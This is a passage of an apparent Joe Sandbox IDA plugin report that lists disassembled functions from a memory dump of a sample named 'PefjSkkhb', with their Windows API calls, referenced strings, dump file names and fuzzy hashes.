Opcode Fuzzy Hash: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
Instruction Fuzzy Hash: B491AE26B48B4685EB10FF65E0402ADB369FB88BE8B854432DE5D93755DF38F845C3A0

Function 00007FF7C0EC0EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF7C0EC0EDB

Part of subcall function 00007FF7C0EC0B90: CharUpperBuffW.USER32(?,?,00000001,00007FF7C0EC0F61), ref: 00007FF7C0EC0C6A

Strings

LAST, xrefs: 00007FF7C0EC0F55, 00007FF7C0EC0F7E
ACTIVE, xrefs: 00007FF7C0EC0FBC, 00007FF7C0EC0FCD
HANDLE, xrefs: 00007FF7C0EC100B, 00007FF7C0EC101C
REGEXPTITLE, xrefs: 00007FF7C0EC105A, 00007FF7C0EC106F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharForegroundUpperWindow
String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
API String ID: 3570115564-1994484594
Opcode ID: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction ID: 9787e4e6724dc56ec1e4837bbfb4b1a652f0effabeb015c0225792731e46c8f2
Opcode Fuzzy Hash: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction Fuzzy Hash: 1071C222B8CA4281EE64BF64D4112B9E2A1AF55BA4FC44431CA0DC6391EF3EF58483E0

Function 00007FF7C0EC9898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF7C0EC98EB

Strings

EXISTS, xrefs: 00007FF7C0EC997B
KEYS, xrefs: 00007FF7C0EC9938
APPEND, xrefs: 00007FF7C0EC99BE
REMOVE, xrefs: 00007FF7C0EC98F1

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction ID: 47c6d24f3c4059ca833e7f4521ba5e6cfbbe246706d509a433815f0f528dadd2
Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction Fuzzy Hash: 2A41C732F59A5341EB607F258448179E2D1ABA4BF4B940635CA5EC37D4EF3EF84283A0

Function 00007FF7C0E89B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E89B56

Strings

#, xrefs: 00007FF7C0E89BEB
O, xrefs: 00007FF7C0E89BFD
E, xrefs: 00007FF7C0E89BF7

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction ID: b0e9ecfdb839fc3b649df9cd56f8ac3928e0ab018a38a4d4e697aa99a068cee7
Opcode Fuzzy Hash: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction Fuzzy Hash: AC41C032E59B9184EF51BF6998401A9A3A0BF54BA8F884231EE4D87798DF3DF441C360

Function 00007FF7C0ECB62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0ECCA34: GetFullPathNameW.KERNEL32 ref: 00007FF7C0ECCA62

Part of subcall function 00007FF7C0ECCA34: GetFullPathNameW.KERNEL32 ref: 00007FF7C0ECCA77

lstrcmpiW.KERNEL32 ref: 00007FF7C0ECB682
MoveFileW.KERNEL32 ref: 00007FF7C0ECB6B6
wcscat.LIBCMT ref: 00007FF7C0ECB744
SHFileOperationW.SHELL32 ref: 00007FF7C0ECB7A9

Strings

\*.*, xrefs: 00007FF7C0ECB736

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
String ID: \*.*
API String ID: 3196045410-1173974218
Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction ID: 4444a4bde73243c5bb1e6750ebc95549b51b41e1d72ee999013141d904e30c2b
Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction Fuzzy Hash: 71413122A4869395EB20FF24D8401FDA764FF95798FC40131DA4DD3B99EF29E509C7A0

Function 00007FF7C0EBDF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EC0730: GetClassNameW.USER32 ref: 00007FF7C0EC075B

SendMessageW.USER32 ref: 00007FF7C0EBDFE3
SendMessageW.USER32 ref: 00007FF7C0EBE000
SendMessageW.USER32 ref: 00007FF7C0EBE036

Strings

ComboBox, xrefs: 00007FF7C0EBDF5F
ListBox, xrefs: 00007FF7C0EBDF9C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$ClassName
String ID: ComboBox$ListBox
API String ID: 787153527-1403004172
Opcode ID: 50f1d75fbf58418a8b746d3a4e6e520a523a5a635b2cd0adfcd1e093ce64af6b
Instruction ID: 7910d1cce8eb17c6685bec28ef9d96baeae43707be3125bf6fa75daebbb79115
Opcode Fuzzy Hash: 50f1d75fbf58418a8b746d3a4e6e520a523a5a635b2cd0adfcd1e093ce64af6b
Instruction Fuzzy Hash: BE31D122A4DA4286EA20FF11E4401B9E360FB85BA0FC44631DE4D87795DF3CF645C7A0

Function 00007FF7C0EDD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET ref: 00007FF7C0EDD954
HttpSendRequestW.WININET ref: 00007FF7C0EDD988
HttpQueryInfoW.WININET ref: 00007FF7C0EDD9D4
InternetCloseHandle.WININET ref: 00007FF7C0EDDA38

Part of subcall function 00007FF7C0EDEAB8: GetLastError.KERNEL32 ref: 00007FF7C0EDEAD4
Part of subcall function 00007FF7C0EDEAB8: SetEvent.KERNEL32 ref: 00007FF7C0EDEAE9

Strings

, xrefs: 00007FF7C0EDD9C1

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction ID: 4f965eee0425c2c3c0cd05192dd76e5d63c016db45fcbc00fddec43cfcc4f05d
Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction Fuzzy Hash: 9031C622A5C74242FB60BF11A414ABEA750FB84BA4F985131DE4D97B45DF3CE4428790

Function 00007FF7C0EF93E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E5932C: CreateWindowExW.USER32 ref: 00007FF7C0E593BC
Part of subcall function 00007FF7C0E5932C: GetStockObject.GDI32 ref: 00007FF7C0E593D9
Part of subcall function 00007FF7C0E5932C: SendMessageW.USER32 ref: 00007FF7C0E593EC

SendMessageW.USER32 ref: 00007FF7C0EF94C1
LoadLibraryW.KERNEL32 ref: 00007FF7C0EF94CE
SendMessageW.USER32 ref: 00007FF7C0EF94EC
DestroyWindow.USER32 ref: 00007FF7C0EF94FA

Strings

SysAnimate32, xrefs: 00007FF7C0EF9460

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction ID: 0e4f6813c76824fde90897d7b294ba7f8b63b261c42c42af6ece49a2909c4cc8
Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction Fuzzy Hash: 8931503260D781CAE761AF24E44476AB3A1FB85BA0F944135DA9987B94DF3CE484CB60

Function 00007FF7C0E79164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7C0E79184
GetProcAddress.KERNEL32 ref: 00007FF7C0E7919A
FreeLibrary.KERNEL32 ref: 00007FF7C0E791BF

Strings

CorExitProcess, xrefs: 00007FF7C0E79193
mscoree.dll, xrefs: 00007FF7C0E7917B

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction ID: c30e02cafb01ea3d0a8f6deac139e67b710b03a1df72f7263d72ed753a11f55b
Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction Fuzzy Hash: 55F04431A1EA4281EF45BF15E458279A3A1FF88BA4FC45035E90F86754DF7CE484C750

Function 00007FF7C0E989B4 Relevance: 7.8, APIs: 5, Instructions: 265COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction ID: 375e6776aa2ceeacdb92e16c6a900410c479ff944a7c743b59f08709aef78ca7
Opcode Fuzzy Hash: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction Fuzzy Hash: E6A11562B4878246FB60BF6092103F9E695AF00BB4F984636DA1D877E5DF7CF44483A0

Function 00007FF7C0EE45A4 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32 ref: 00007FF7C0EE4700
#17.WSOCK32 ref: 00007FF7C0EE4735
WSAGetLastError.WSOCK32 ref: 00007FF7C0EE4744
inet_ntoa.WSOCK32 ref: 00007FF7C0EE47E3
htons.WSOCK32 ref: 00007FF7C0EE4833

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLasthtonsinet_ntoa
String ID:
API String ID: 2227131780-0
Opcode ID: 6d4788a4abc5ce2114f5ac25091d31e77d7f9f094256cfd739c645a6feeb5206
Instruction ID: 4e96ac3b9e3839a1e5d0d76b78cff09fac83fe2288e9c8f28bb2492707fd4052
Opcode Fuzzy Hash: 6d4788a4abc5ce2114f5ac25091d31e77d7f9f094256cfd739c645a6feeb5206
Instruction Fuzzy Hash: DBA1B562B58A4282DB54FF26D4502BEE790BF85BA4F804531DA5E87796DF3CF50087A0

Function 00007FF7C0EEE838 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF7C0EEE8EA
OpenProcess.KERNEL32 ref: 00007FF7C0EEE8FA
GetProcessIoCounters.KERNEL32 ref: 00007FF7C0EEE931
CloseHandle.KERNEL32 ref: 00007FF7C0EEEAEE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction ID: 5e03b8dfbafe07b81a152ebd483591bf735712fe5271afa7d8cb400929682e93
Opcode Fuzzy Hash: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction Fuzzy Hash: 6881AE26B48A9186EB14FF22D4546ADB7A0BB48FE4F854035DE1E97796CF3CE401C790

Function 00007FF7C0E8ED08 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E8ED4D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction ID: 21b65106e2d1ee2ea3857d1a9020f4ee5ed8766ebd9ee1e2577addb9bcce9ca0
Opcode Fuzzy Hash: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction Fuzzy Hash: 3881C122B9869285F720BF6994406BDA7A1BB44B68F804235DE0E9B7D5CF3CF445C7A0

Function 00007FF7C0EF02DC Relevance: 7.7, APIs: 5, Instructions: 159registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EF1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7C0EEFD7B), ref: 00007FF7C0EF1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7C0EF03E3
RegOpenKeyExW.ADVAPI32 ref: 00007FF7C0EF043A
RegEnumValueW.ADVAPI32 ref: 00007FF7C0EF04A3
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF04F4
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF0503

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 3451389628-0
Opcode ID: adfb7868244c5e1d0bfc560eceff1a8588b273cb05b564dbeb42a9c501cb6717
Instruction ID: 8deb65904438bec9908d6a848b8a952b88d29dc5194fea9e58c6c6151d02ee70
Opcode Fuzzy Hash: adfb7868244c5e1d0bfc560eceff1a8588b273cb05b564dbeb42a9c501cb6717
Instruction Fuzzy Hash: E5714E72B58A4289EB10FF65D0903BC6770FB84BA8F818531DA0D97B96DF38E145C7A0

Function 00007FF7C0E8E67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000010,-00000090,00007FF7C0E8EEAF), ref: 00007FF7C0E8E6D9
WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E8E7B5
WriteFile.KERNEL32 ref: 00007FF7C0E8E7DB
WriteFile.KERNEL32 ref: 00007FF7C0E8E81A
GetLastError.KERNEL32 ref: 00007FF7C0E8E852

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction ID: 6cd4e21c1839f2a7fb5e37a32509f498e41895d65c4e04d945aa003040507692
Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction Fuzzy Hash: E651D632A18A9189F714EF69D4443ADB7B0FB44BA8F488235CE4E8B798DF38E145C750

Function 00007FF7C0EF0084 Relevance: 7.6, APIs: 5, Instructions: 141registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EF1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7C0EEFD7B), ref: 00007FF7C0EF1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7C0EF0189
RegOpenKeyExW.ADVAPI32 ref: 00007FF7C0EF01E6
RegEnumKeyExW.ADVAPI32 ref: 00007FF7C0EF0250
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF028D
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF029D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
Instruction ID: 5785070a094344b0af3ebc130e26eb1432deab02e0bde569fd5cec4b819015bb
Opcode Fuzzy Hash: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
Instruction Fuzzy Hash: 01617E72A58A8285EB10FF65D4843BDA770FB847A8F804131DA4D87766DF7CE145C7A0

Function 00007FF7C0EED0F8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EEC2BF), ref: 00007FF7C0EED176
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EEC2BF), ref: 00007FF7C0EED217
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EEC2BF), ref: 00007FF7C0EED236
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EEC2BF), ref: 00007FF7C0EED281
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7C0EEC2BF), ref: 00007FF7C0EED2A0

Part of subcall function 00007FF7C0E74120: WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E74160
Part of subcall function 00007FF7C0E74120: WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E7419C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
